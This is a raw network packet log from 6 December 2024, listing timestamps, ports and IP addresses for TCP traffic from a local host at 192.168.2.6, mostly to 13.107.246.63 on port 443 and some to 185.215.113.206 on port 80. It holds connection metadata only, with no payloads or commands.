Dec 6, 2024 18:45:34.342895031 CET	49769	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.342921972 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.342932940 CET	443	49769	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.346235991 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.346257925 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.348242044 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.348427057 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.348439932 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.652226925 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:34.652604103 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:34.660191059 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.660259962 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.662888050 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.662950993 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663016081 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663196087 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663239002 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663239002 CET	49770	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663258076 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663270950 CET	443	49770	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663404942 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663412094 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663439989 CET	49772	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.663444042 CET	443	49772	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663475990 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663537979 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.663866997 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.664587021 CET	49771	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.664597988 CET	443	49771	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.666745901 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.666749001 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.666780949 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.666790009 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.667943001 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.667980909 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.668001890 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668004036 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668096066 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668190002 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668201923 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.668226957 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668242931 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:34.668325901 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:34.668340921 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.038765907 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.039323092 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.039376974 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.039829016 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.039835930 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.070753098 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.081865072 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.081876040 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.082463026 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.082468033 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.390081882 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.390618086 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.390640020 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.390801907 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.390826941 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.391175985 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.391179085 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.391186953 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.391199112 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.391629934 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.391633987 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.391701937 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.391731024 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.392127037 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.392132044 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.475827932 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.475892067 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.476053953 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.476159096 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.476188898 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.476203918 CET	49773	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.476208925 CET	443	49773	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.479443073 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.479487896 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.479542971 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.479692936 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.479706049 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.505791903 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.505853891 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.505923033 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.506129026 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.506139994 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.506150961 CET	49774	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.506155968 CET	443	49774	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.509156942 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.509187937 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.509430885 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.509620905 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.509630919 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.827516079 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.827593088 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.827661037 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.827820063 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.827841043 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.827856064 CET	49776	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.827863932 CET	443	49776	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.829114914 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.829176903 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.829356909 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.829356909 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.829356909 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831423044 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831445932 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.831458092 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831504107 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.831505060 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831549883 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831645012 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831659079 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.831732035 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.831746101 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.866213083 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.866278887 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.866369009 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.866452932 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.866470098 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.866481066 CET	49777	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.866486073 CET	443	49777	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.868891954 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.868916035 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:36.869043112 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.869189978 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:36.869204998 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:37.127032995 CET	49775	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:37.127091885 CET	443	49775	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.197200060 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.200568914 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.200606108 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.201057911 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.201064110 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.228876114 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.233751059 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.233778000 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.234334946 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.234339952 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.546437979 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.548893929 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.553950071 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.553991079 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.554378033 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.554383993 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.554730892 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.554749012 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.555335045 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.555340052 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.591273069 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.632289886 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.632307053 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.632756948 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.632762909 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.712594986 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.712667942 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.712733030 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.715476990 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.715536118 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.715596914 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.873780966 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.873816967 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.873833895 CET	49780	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.873841047 CET	443	49780	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.875807047 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.875844955 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.875863075 CET	49779	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.875869036 CET	443	49779	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.916758060 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.916795015 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.916868925 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.946265936 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.946317911 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.946381092 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.947529078 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.947542906 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.947763920 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.947781086 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.982880116 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.982954979 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.983000994 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.983128071 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.983148098 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.983160019 CET	49782	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.983165026 CET	443	49782	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.985711098 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.985759974 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.985771894 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.985796928 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.985862017 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.985882044 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.985927105 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.985932112 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.985943079 CET	49781	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.985946894 CET	443	49781	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.986151934 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.986162901 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.988274097 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.988305092 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:38.988356113 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.988646030 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:38.988653898 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.030065060 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.030124903 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.030172110 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.030395031 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.030402899 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.030412912 CET	49783	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.030416965 CET	443	49783	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.033611059 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.033641100 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:39.033719063 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.033936024 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:39.033948898 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.688827038 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.689587116 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.689646006 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.689662933 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.690088987 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.690098047 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.693727970 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.693747044 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.694335938 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.694344044 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.729840040 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.729871035 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.731462002 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.731503010 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.732189894 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.732199907 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.732709885 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.732728958 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.733565092 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.733572960 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.888392925 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.889477968 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.889509916 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:40.890022039 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:40.890028954 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.123131037 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.123203993 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.123250008 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.124038935 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.124063015 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.124074936 CET	49786	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.124079943 CET	443	49786	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.124372959 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.124454021 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.124527931 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.132705927 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.132725000 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.132736921 CET	49785	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.132741928 CET	443	49785	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.148463964 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.148489952 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.148731947 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.151124954 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.151138067 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.152328014 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.152384043 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.152439117 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.152554035 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.152565002 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.165242910 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.165308952 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.165693045 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.166085005 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.166090965 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.166102886 CET	49787	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.166105986 CET	443	49787	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.166332006 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.166392088 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.166491032 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.168353081 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.168365002 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.168559074 CET	49788	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.168564081 CET	443	49788	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.172236919 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.172245979 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.172302961 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.173960924 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.173985958 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.174020052 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.174237967 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.174247026 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.174933910 CET	49794	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.174942970 CET	443	49794	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.322397947 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.322470903 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.322554111 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.324770927 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.324770927 CET	49789	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.324784994 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.324793100 CET	443	49789	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.416022062 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.416049004 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.416110992 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.417387009 CET	49795	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:41.417403936 CET	443	49795	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:41.679243088 CET	49751	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:41.679778099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:41.773694038 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:41.773766041 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:41.773972988 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:41.788966894 CET	49797	443	192.168.2.6	20.198.118.190
Dec 6, 2024 18:45:41.789005041 CET	443	49797	20.198.118.190	192.168.2.6
Dec 6, 2024 18:45:41.800734997 CET	80	49751	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:41.801131010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:41.801224947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:41.879885912 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:42.000552893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:42.580198050 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.580228090 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.580302000 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.580338001 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.580389977 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.580406904 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.580416918 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.580471039 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.580476046 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.584479094 CET	49798	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.584497929 CET	443	49798	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.584573984 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.584589958 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.584671974 CET	49800	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:42.584686041 CET	443	49800	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:42.876266956 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.876840115 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.876847982 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.877518892 CET	49791	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.877522945 CET	443	49791	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.883980036 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.884417057 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.884434938 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.884913921 CET	49792	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.884919882 CET	443	49792	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.922137976 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.922645092 CET	49793	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:42.922655106 CET	443	49793	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:42.923127890 CET	49793	443	192.168.2.6	13.107.246.63
